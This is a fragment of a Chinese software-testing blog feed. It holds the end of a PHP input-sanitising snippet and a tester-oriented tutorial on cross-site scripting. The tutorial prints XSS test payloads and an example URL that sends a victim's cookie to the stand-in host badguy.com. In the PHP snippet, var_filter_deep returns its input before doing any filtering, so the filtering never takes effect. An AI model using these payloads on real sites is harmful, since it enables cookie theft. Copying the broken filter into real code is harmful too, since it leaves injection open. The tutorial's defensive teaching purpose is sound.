#dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">/*</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* 函数名称：escapeMysql()</div><div style="word-break: break-all; margin: 10px 0px;">* SQL注入主要是提交不安全的数据给数据库来达到攻击目的。为了防止SQL注入攻击，PHP自带一个功能可以对输入的字符串进行处理，可以在较底层对 * 输入进行安全上的初步处理，也即Magic Quotes。(php.ini magic_quotes_gpc)。如果magic_quotes_gpc选项启用，那么输入的字符串 &nbsp; &nbsp;* 中的单引号，双引号和其它一些字符前将会被自动加上反斜杠\。</div><div style="word-break: break-all; margin: 10px 0px;">* 但Magic Quotes并不是一个很通用的解决方案，没能屏蔽所有有潜在危险的字符，并且在许多服务器上Magic Quotes并没有被启用。所以，我们 &nbsp; &nbsp;* 还需要使用其它多种方法来防止SQL注入。许多数据库本身就提供这种输入数据处理功能。例如PHP的MySQL操作函数中有一个叫 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; * mysql_real_escape_string()的函数，可将特殊字符和可能引起数据库操作出错的字符转义。</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* 函数作用：检测提交的值是不是含有SQL注射的字符，防止注射，保护服务器安全</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* @param mixed $sql_str: 提交的变量</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* @return mixed 返回检测结果，ture or false</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">function escapeMysql($el){</div><div style="word-break: break-all; margin: 10px 0px;">if(is_array($el))</div><div style="word-break: break-all; margin: 10px 0px;">{</div><div style="word-break: break-all; margin: 10px 0px;">return &nbsp; array_map("escapeMysql", &nbsp; $el &nbsp; );</div><div style="word-break: break-all; margin: 10px 0px;">}else{</div><div style="word-break: break-all; margin: 10px 0px;">/*如果Magic Quotes功用启用 &nbsp; &nbsp;*/</div><div style="word-break: break-all; margin: 10px 0px;">if (!get_magic_quotes_gpc()) {</div><div style="word-break: break-all; margin: 10px 0px;">$el = mysql_real_escape_string(trim($el));</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">$el &nbsp; &nbsp;= &nbsp; &nbsp;str_ireplace("%5d%5c", "'", $el);</div><div style="word-break: break-all; margin: 10px 0px;">$el = str_replace("_", "\_", $el); &nbsp; &nbsp;// 把 '_'过滤掉</div><div style="word-break: break-all; margin: 10px 0px;">$el = str_replace("%", "\%", $el); &nbsp; &nbsp;// 把 '%'过滤掉</div><div style="word-break: break-all; margin: 10px 0px;">$el = nl2br($el); &nbsp; &nbsp;// 回车转换</div><div style="word-break: break-all; margin: 10px 0px;">return &nbsp; $el;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* 变量过滤</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* @param mixed $value 变量</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* @return mixed</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">function var_filter_deep($value) {</div><div style="word-break: break-all; margin: 10px 0px;">return $value;</div><div style="word-break: break-all; margin: 10px 0px;">if(is_array($value))</div><div style="word-break: break-all; margin: 10px 0px;">{</div><div style="word-break: break-all; margin: 10px 0px;">return $value = &nbsp; array_map("var_filter_deep", &nbsp; $value &nbsp; );</div><div style="word-break: break-all; margin: 10px 0px;">}else{</div><div style="word-break: break-all; margin: 10px 0px;">$value = RemoveXSS($value);</div><div style="word-break: break-all; margin: 10px 0px;">//$value = inject_check($value);</div><div style="word-break: break-all; margin: 10px 0px;">$value = escapeMysql($value);</div><div style="word-break: break-all; margin: 10px 0px;">return $value;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">/*</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* 函数名称：verify_id()</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* 函数作用：校验提交的ID类值是否合法</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* 参　　数：$id: 提交的ID值</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* 返 回 值：返回处理后的ID</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">function verify_id($id=null) {</div><div style="word-break: break-all; margin: 10px 0px;">if (!$id) { exit('没有提交参数！'); } &nbsp; &nbsp;// 是否为空判断</div><div style="word-break: break-all; margin: 10px 0px;">elseif (inject_check($id)) { exit('提交的参数非法！'); } &nbsp; &nbsp;// 注射判断</div><div style="word-break: break-all; margin: 10px 0px;">elseif (!is_numeric($id)) { exit('提交的参数非法！'); } &nbsp; &nbsp;// 数字判断</div><div style="word-break: break-all; margin: 10px 0px;">$id = intval($id); &nbsp; &nbsp;// 整型化</div><div style="word-break: break-all; margin: 10px 0px;">return $id;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* 变量安全过滤</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* @static</div><div style="word-break: break-all; margin: 10px 0px;">* @access public</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* @return string</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">function varFilter ()</div><div style="word-break: break-all; margin: 10px 0px;">{</div><div style="word-break: break-all; margin: 10px 0px;">$_SERVER = array_map( &nbsp; "var_filter_deep", $_SERVER );</div><div style="word-break: break-all; margin: 10px 0px;">$_REQUEST = array_map( &nbsp; "var_filter_deep", $_REQUEST);</div><div style="word-break: break-all; margin: 10px 0px;">$_POST &nbsp; &nbsp;= array_map( &nbsp; "var_filter_deep", $_POST &nbsp; );</div><div style="word-break: break-all; margin: 10px 0px;">$_GET &nbsp; &nbsp; = array_map( &nbsp; "var_filter_deep", $_GET &nbsp; &nbsp;);</div><div style="word-break: break-all; margin: 10px 0px;">$_COOKIE = array_map( &nbsp; "var_filter_deep", $_COOKIE );</div><div style="word-break: break-all; margin: 10px 0px;">//print_r($_POST);</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table><img src ="http://www.blogjava.net/qileilove/aggbug/412130.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-04-09 10:43 <a href="http://www.blogjava.net/qileilove/archive/2014/04/09/412130.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Web安全测试之XSS</title><link>http://www.blogjava.net/qileilove/archive/2014/03/11/410849.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Tue, 11 Mar 2014 02:52:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/03/11/410849.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/410849.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/03/11/410849.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/410849.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/410849.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">XSS</strong></u></a>&nbsp;全称(Cross Site Scripting) 跨站脚本攻击， 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的. &nbsp;比如获取用户的Cookie，导航到恶意网站,携带木马等。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　作为<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>人员，需要了解XSS的原理，攻击场景，如何修复。 才能有效的防止XSS的发生。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">XSS 是如何发生的呢</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　假如有下面一个textbox</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　&lt;input type="text" name="address1" value="value1from"&gt;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　value1from是来自用户的输入，如果用户不是输入value1from,而是输入 "/&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;!- 那么就会变成</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　&lt;input type="text" name="address1" value=""/&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;!- "&gt;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　嵌入的JavaScript代码将会被执行</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　或者用户输入的是 &nbsp;"onfocus="alert(document.cookie) &nbsp; &nbsp; &nbsp;那么就会变成</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　&lt;input type="text" name="address1" value="" onfocus="alert(document.cookie)"&gt;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　事件被触发的时候嵌入的JavaScript代码将会被执行</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　攻击的威力，取决于用户输入了什么样的脚本</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44827" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/03/14982672_201403061336021RfxT.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">HTML Encode</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　XSS之所以会发生， 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号"， &#8220;单引号&#8221;，&#8220;引号&#8221; 之类的特殊字符进行编码。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44828" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/03/14982672_201403061336022Xy2Q.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　在C#中已经提供了现成的方法，只要调用HttpUtility.HtmlEncode("string &lt;scritp&gt;") 就可以了。 &nbsp;（需要引用System.Web程序集）</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><font color="#202859"><span style="line-height: normal !important;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/03/14982672_201403061336023DWeI.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></span></font><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; font-size: 11.818181991577148px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　<strong style="word-break: break-all; line-height: normal !important;">XSS 攻击场景</strong></a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; font-size: 11.818181991577148px;"><strong style="word-break: break-all; line-height: normal !important;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　1. Dom-Based XSS 漏洞 攻击过程如下</a></strong></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; font-size: 11.818181991577148px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Tom 发现了Victim.com中的一个页面有XSS漏洞，</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; font-size: 11.818181991577148px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　例如: http://victim.com/search.asp?term=apple</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; font-size: 11.818181991577148px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　服务器中Search.asp 页面的代码大概如下</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; font-size: 11.818181991577148px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">&lt;html&gt;</a></div><div style="word-break: break-all; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">&lt;title&gt;&lt;/title&gt;</a></div><div style="word-break: break-all; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">&lt;body&gt;</a></div><div style="word-break: break-all; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">Results &nbsp;for &nbsp;&lt;%Reequest.QueryString("term")%&gt;</a></div><div style="word-break: break-all; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">...</a></div><div style="word-break: break-all; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">&lt;/body&gt;</a></div><div style="word-break: break-all; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">&lt;/html&gt;</a></div></td></tr></tbody></table><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Tom 先建立一个网站http://badguy.com, &nbsp;用来接收&#8220;偷&#8221;来的信息。</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件，QQ)发给Monica</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　http://victim.com/search.asp?term=&lt;script&gt;window.open("http://badguy.com?cookie="+document.cookie)&lt;/script&gt;</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Monica点击了这个URL， 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　<strong style="word-break: break-all;">2. Stored XSS(存储式XSS漏洞),&nbsp;</strong>该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞，攻击者将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Alex发现了网站A上有一个XSS 漏洞，该漏洞允许将攻击代码保存在数据库中，</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Alex发布了一篇文章，文章中嵌入了恶意JavaScript代码。</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　其他人如Monica访问这片文章的时候，嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行，其会话cookie或者其他信息将被Alex盗走。</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Dom-Based XSS漏洞威胁用户个体，而存储式XSS漏洞所威胁的对象将是大量的用户.</a></div></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; font-size: 11.818181991577148px;"><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　<strong style="word-break: break-all;">XSS 漏洞修复</strong></a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　原则：　不相信客户输入的数据</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　注意: &nbsp;攻击代码不一定在&lt;script&gt;&lt;/script&gt;中</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　将重要的cookie标记为http only, &nbsp; 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　只允许用户输入我们期望的数据。 例如：　年龄的textbox中，只允许用户输入数字。 而数字之外的字符都过滤掉。</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　对数据进行Html Encode 处理</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　过滤或移除特殊的Html标签， 例如: &lt;script&gt;, &lt;iframe&gt; , &nbsp;&amp;lt; for &lt;, &amp;gt; for &gt;, &amp;quot for</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　<strong style="word-break: break-all;">如何测试XSS漏洞</strong></a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　<strong style="word-break: break-all;">方法一： &nbsp;</strong>查看代码，查找关键的变量, &nbsp; 客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单，以及cookie. &nbsp;例如在ASP的程序中，通过Request对象获取客户端的变量</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">&lt;%</a></div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">strUserCode = &nbsp;Request.QueryString(&#8220;code&#8221;);</a></div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">strUser = &nbsp;Request.Form(&#8220;USER&#8221;);</a></div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">strID = &nbsp; &nbsp;Request.Cookies(&#8220;ID&#8221;);</a></div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">%&gt;</a></div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　假如变量没有经过htmlEncode处理， 那么这个变量就存在一个XSS漏洞</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　<strong style="word-break: break-all;">方法二：</strong>　准备测试脚本，</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">"/&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;!--</a></div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;!--</a></div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44829" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">"onclick="alert(document.cookie)</a></div></td></tr></tbody></table><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　在网页中的Textbox或者其他能输入数据的地方，输入这些测试脚本， 看能不能弹出对话框，能弹出的话说明存在XSS漏洞</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　在URL中查看有那些变量通过URL把值传给Web服务器， 把这些变量的值退换成我们的测试的脚本。 &nbsp;然后看我们的脚本是否能执行</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　<strong style="word-break: break-all; line-height: normal !important;">方法三: &nbsp;自动化测试XSS漏洞</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单，只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中，我们的XSS测试脚本是否已经注入进去了。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　<strong style="word-break: break-all; line-height: normal !important;">HTML Encode 和URL Encode的区别</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　HTML编码前面已经介绍过了，关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　